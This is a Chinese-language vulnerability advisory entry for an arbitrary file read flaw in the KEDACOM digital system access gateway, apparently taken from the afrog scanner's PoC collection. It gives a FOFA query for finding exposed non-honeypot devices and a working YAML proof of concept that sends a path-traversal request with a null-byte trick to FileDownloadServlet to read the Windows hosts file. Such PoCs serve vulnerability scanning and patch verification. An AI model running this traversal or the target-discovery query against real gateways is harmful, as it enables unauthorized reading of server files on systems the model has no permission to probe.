kedacom-gateway-file-read: KEDACOM数字系统接入网关 任意文件读取漏洞

日期: 2025-08-01 | 影响软件: KEDACOM数字系统接入网关 | POC: 已公开

漏洞描述

KEDACOM 数字系统接入网关 存在任意文件读取漏洞，攻击者通过构造请求可以读取服务器任意文件 fofa: (app="KEDACOM-DVR接入网关") && (is_honeypot=false && is_fraud=false)

PoC代码[已公开]

id: kedacom-gateway-file-read

info:
  name: KEDACOM数字系统接入网关 任意文件读取漏洞
  author: zan8in
  severity: high
  description: |-
    KEDACOM 数字系统接入网关 存在任意文件读取漏洞，攻击者通过构造请求可以读取服务器任意文件
    fofa: (app="KEDACOM-DVR接入网关") && (is_honeypot=false && is_fraud=false)
  tags: kedacom,gateway,lfi
  created: 2024/02/29

rules:
  r0:
    request:
      method: GET
      path: /gatewayweb/FileDownloadServlet?fileName=test.txt&filePath=../../../../../../../../../../Windows/System32/drivers/etc/hosts%00.jpg&type=2
    expression: response.status == 200 && response.body.bcontains(b'Microsoft TCP/IP for Windows') && response.body.bcontains(b'HOSTS file')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/kedacom-gateway-file-read.yaml

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